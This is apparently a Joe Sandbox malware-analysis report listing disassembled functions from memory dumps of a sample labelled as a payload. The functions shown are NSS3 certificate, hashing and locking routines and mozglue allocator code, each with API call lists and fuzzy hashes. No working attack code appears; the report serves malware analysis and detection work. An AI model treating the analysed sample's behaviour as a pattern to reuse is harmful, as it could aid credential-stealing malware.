Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1c9b130cf2b3a2aade367b9c54a279f0b088caf76d850436738d083f39f5e638
Instruction ID: 1cae6efacbaf93e1cddb91e1737c1097a590433f15f9923baddfbe46353dcec1
Opcode Fuzzy Hash: 1c9b130cf2b3a2aade367b9c54a279f0b088caf76d850436738d083f39f5e638
Instruction Fuzzy Hash: 4C6183F1E003469BEB00DF64EC45B9AB7B5AF08348F144528EC29AB741E772E955CFA1

Function 6C3FADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE10
EnterCriticalSection.KERNEL32(?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C3DD079,00000000,00000001), ref: 6C3FAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAE7F
TlsGetValue.KERNEL32(?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAEF1
free.MOZGLUE(6C3DCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3DCDBB,?), ref: 6C3FAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C3DCDBB,?,6C3DD079,00000000,00000001), ref: 6C3FAF30

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: ef4e99522a6b4b6ca3098f70493140893bd10ed6a1757da467e75d1f87b4f6e8
Instruction ID: c98226c238beecd0cdbec3cdc4cfc52ad43227326dda7f6d267d98d21560f75b
Opcode Fuzzy Hash: ef4e99522a6b4b6ca3098f70493140893bd10ed6a1757da467e75d1f87b4f6e8
Instruction Fuzzy Hash: 63519FB1A00601AFEB00DF25D885B5AB7B4FF15318F044A68D8299BE11E732F865CFE1

Function 6C3D4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C3DAB7F,?,00000000,?), ref: 6C3D4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C3DAB7F,?,00000000,?), ref: 6C3D4CC8
TlsGetValue.KERNEL32(?,6C3DAB7F,?,00000000,?), ref: 6C3D4CE0
EnterCriticalSection.KERNEL32(?,?,6C3DAB7F,?,00000000,?), ref: 6C3D4CF4
PL_HashTableLookup.NSS3(?,?,?,6C3DAB7F,?,00000000,?), ref: 6C3D4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C3D4D10

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C3D4D26

Part of subcall function 6C479DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DC6
Part of subcall function 6C479DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C4C0A27), ref: 6C479DD1
Part of subcall function 6C479DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C479DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C3D4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C3D4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C3D4E02

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 5cc0e95a75d13609b2aa13b6daba1ad3d65ccc1ce61c1fd710db7446f09dac1e
Instruction ID: 4f1d5a1995d8e989d981ebe587ad045e21f32be27341e22dc1cef9ebf32447a5
Opcode Fuzzy Hash: 5cc0e95a75d13609b2aa13b6daba1ad3d65ccc1ce61c1fd710db7446f09dac1e
Instruction Fuzzy Hash: FE41ABB6A002059FD7019F64EC4495A77A8EF1525CF064170EC45C7B12EB32E964CFE3

Function 6C3B2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C3B2CDA,?,00000000), ref: 6C3B2E1E

Part of subcall function 6C40FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C3B9003,?), ref: 6C40FD91
Part of subcall function 6C40FD80: PORT_Alloc_Util.NSS3(A4686C41,?), ref: 6C40FDA2
Part of subcall function 6C40FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C41,?,?), ref: 6C40FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C3B2E33

Part of subcall function 6C40FD80: free.MOZGLUE(00000000,?,?), ref: 6C40FDD1

TlsGetValue.KERNEL32 ref: 6C3B2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C3B2E5E
PL_HashTableLookup.NSS3(?), ref: 6C3B2E71
PL_HashTableRemove.NSS3(?), ref: 6C3B2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C3B2E96
PR_Unlock.NSS3 ref: 6C3B2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3B2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3B2EC5

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ca5070e3b6a907a7bf9868b1adeb3426508571e923bdd3a3d8760d2474fed81a
Instruction ID: 7eb8310c03703723986b462ed3403c12b2370dbe758af76ed172cc12bf380704
Opcode Fuzzy Hash: ca5070e3b6a907a7bf9868b1adeb3426508571e923bdd3a3d8760d2474fed81a
Instruction Fuzzy Hash: 4B21F872A401006BEF015B65DD0EE9B3A78DB5324DF050234FD1896B11F733D669CAE2

Function 6C33CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C33B999), ref: 6C33CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C33B999), ref: 6C33D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C33B999), ref: 6C33D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C33B999), ref: 6C48972B

Strings

%s at line %d of [%.10s], xrefs: 6C33CFEC, 6C33D018, 6C33D029, 6C33D03F, 6C48978B
database corruption, xrefs: 6C33CFE7, 6C33D013, 6C33D028, 6C33D039, 6C33D03E, 6C489786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C33CFDD, 6C33D00E, 6C33D022, 6C33D033, 6C489780

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: c6b992d8935077c13e45f469a803f45ba9984c5f802c1deab107e30ef069239e
Instruction ID: 4420a7264335579c223554d6f045e8f59ddf843bbee8be91781d143e1f2f136b
Opcode Fuzzy Hash: c6b992d8935077c13e45f469a803f45ba9984c5f802c1deab107e30ef069239e
Instruction Fuzzy Hash: 64615871A052608BD710CF29C840FA6BBF5EF95318F28426DE4499BB82D377D947CBA1

Function 6C414DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C41536F,00000022,?,?,00000000,?), ref: 6C414E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C414F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C414F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C414FAE
free.MOZGLUE(?), ref: 6C414FC8

Strings

%s=%s, xrefs: 6C414F89
%s=%c%s%c, xrefs: 6C414FA9
oSAl", xrefs: 6C414DFB, 6C414EF4, 6C414EC5

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSAl"
API String ID: 2709355791-1366177443
Opcode ID: f6bab7435cfbe8fff21df54f15586037868ed481742be639e73de583d72f27a9
Instruction ID: 693cfb18b657cf9279c4b91d024430c14446402ea92eec4412f56d177715bdf7
Opcode Fuzzy Hash: f6bab7435cfbe8fff21df54f15586037868ed481742be639e73de583d72f27a9
Instruction Fuzzy Hash: 53512731A0D2558BEB01CA69C890FFE7BF59F4638EF289125E8D4E7F41D325980687A1

Function 6C43EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C45A4A1,?,00000000,?,00000001), ref: 6C43EF6D

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

htonl.WSOCK32(00000000,?,6C45A4A1,?,00000000,?,00000001), ref: 6C43EFE4
htonl.WSOCK32(?,00000000,?,6C45A4A1,?,00000000,?,00000001), ref: 6C43EFF1
memcpy.VCRUNTIME140(?,?,6C45A4A1,?,00000000,?,6C45A4A1,?,00000000,?,00000001), ref: 6C43F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C45A4A1,?,00000000,?,00000001), ref: 6C43F027

Strings

dtls13, xrefs: 6C43EF33

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 2de9188006453e4638a4c1a8b6ad4ff4df6ad77b36aa6c715bb16f5f0251c77c
Instruction ID: 3944bb4c0ed773478b1f1c972dbc958a81e46aa0c088aff06dce1935a143aa0c
Opcode Fuzzy Hash: 2de9188006453e4638a4c1a8b6ad4ff4df6ad77b36aa6c715bb16f5f0251c77c
Instruction Fuzzy Hash: 8131D271A02225ABD710DF29DC80F9AB7E4EF89348F158029E81C9B751E771ED15CBE2

Function 6C3BAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C3BAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C4D9500,6C3B3F91), ref: 6C3BAFD2

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

DER_GetInteger_Util.NSS3(?), ref: 6C3BB007

Part of subcall function 6C406A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C3B1666,?,6C3BB00C,?), ref: 6C406AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C3BB02F
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3BB046
PL_FreeArenaPool.NSS3 ref: 6C3BB058
PL_FinishArenaPool.NSS3 ref: 6C3BB060

Strings

security, xrefs: 6C3BAFB8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: ac05154d7a644d8f92a144b357bd43085e39b11a508d5c1e5004167d0c66c62d
Instruction ID: e1dc893af8ef57d93049ada20e0439c77530955fc62101ba3f6fae66304083bb
Opcode Fuzzy Hash: ac05154d7a644d8f92a144b357bd43085e39b11a508d5c1e5004167d0c66c62d
Instruction Fuzzy Hash: C331E77150830097D710CF149C85FFA77A4AF5636CF10061DE8B5ABED1EB329109CBA6

Function 6C3EACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C3EACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3EAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3EAD23

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3EAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6C3EAD1C
nLl, xrefs: 6C3EAD51, 6C3EAD7B
C_MessageDecryptFinal, xrefs: 6C3EACE1
hSession = 0x%x, xrefs: 6C3EACFE, 6C3EAD0E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nLl
API String ID: 332880674-907248566
Opcode ID: 3ee4d4db743911e2c148abbc1b5540f7da1bcca0a63bbce7e75652179c89d921
Instruction ID: d6d100caf3511fc914402ded4712d1a2345ce4bab86fc41614cebabadc198583
Opcode Fuzzy Hash: 3ee4d4db743911e2c148abbc1b5540f7da1bcca0a63bbce7e75652179c89d921
Instruction Fuzzy Hash: 5D21F8747401549FDB00EB54DD9DF6B3BB5EB4A31EF06402AE40997E11DB309808CB97

Function 6C3FCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C3FCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C3FCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C3FD079

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: f69a3f3beaf1e6b3c784504d30a374f3dd0371784220a6bc04b6b2830fbe7786
Instruction ID: 12296d4701941ab2cb211857c88133d8c79483001b6fa31ca9f79110d31a09c2
Opcode Fuzzy Hash: f69a3f3beaf1e6b3c784504d30a374f3dd0371784220a6bc04b6b2830fbe7786
Instruction Fuzzy Hash: 5FC1A0B1A002199BDB20CF24DC84BDAB7B4BF48308F1445A8E95C97741E776EE96CF91

Function 6C3B2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(640C1353), ref: 6C3B2C5D

Part of subcall function 6C410D30: calloc.MOZGLUE ref: 6C410D50
Part of subcall function 6C410D30: TlsGetValue.KERNEL32 ref: 6C410D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C3B2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3B2CE0

Part of subcall function 6C3B2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C3B2CDA,?,00000000), ref: 6C3B2E1E
Part of subcall function 6C3B2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C3B2E33
Part of subcall function 6C3B2E00: TlsGetValue.KERNEL32 ref: 6C3B2E4E
Part of subcall function 6C3B2E00: EnterCriticalSection.KERNEL32(?), ref: 6C3B2E5E
Part of subcall function 6C3B2E00: PL_HashTableLookup.NSS3(?), ref: 6C3B2E71
Part of subcall function 6C3B2E00: PL_HashTableRemove.NSS3(?), ref: 6C3B2E84
Part of subcall function 6C3B2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C3B2E96
Part of subcall function 6C3B2E00: PR_Unlock.NSS3 ref: 6C3B2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3B2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C3B2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C3B2D3F
free.MOZGLUE(00000000), ref: 6C3B2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C3B2DB8
free.MOZGLUE ref: 6C3B2DC8

Part of subcall function 6C3B3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B3EC2
Part of subcall function 6C3B3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C3B3ED6
Part of subcall function 6C3B3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C3B3EEE
Part of subcall function 6C3B3E60: PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3B3F02
Part of subcall function 6C3B3E60: PL_FreeArenaPool.NSS3 ref: 6C3B3F14
Part of subcall function 6C3B3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3B3F27

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 23f20ec1143eb4ddf5b4137d89c857b1e30a254fc8ae7ac92e315f7349184b9e
Instruction ID: a15c0931cd3e99391b7a35934eaa94f13ce25f1057400e596e2af312d1b88c22
Opcode Fuzzy Hash: 23f20ec1143eb4ddf5b4137d89c857b1e30a254fc8ae7ac92e315f7349184b9e
Instruction Fuzzy Hash: 4151D071A043159FDB00DE29CD89B5B77E5EFA4348F15062CECA5A7A10E733E8148F92

Function 6C2CCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C2931A7), ref: 6C2CCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C2CCFA4, 6C2CCFB8
<jemalloc>, xrefs: 6C2CCF9F, 6C2CCFB3

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 0ec49084e1701a92d787acdc700dcb12d899184bd2bbeb7b1dbc5ff275debdcd
Instruction ID: 93f4628b56ae77d01b7f639e4830ea430a3412eafb7e1e185aa48094cf645113
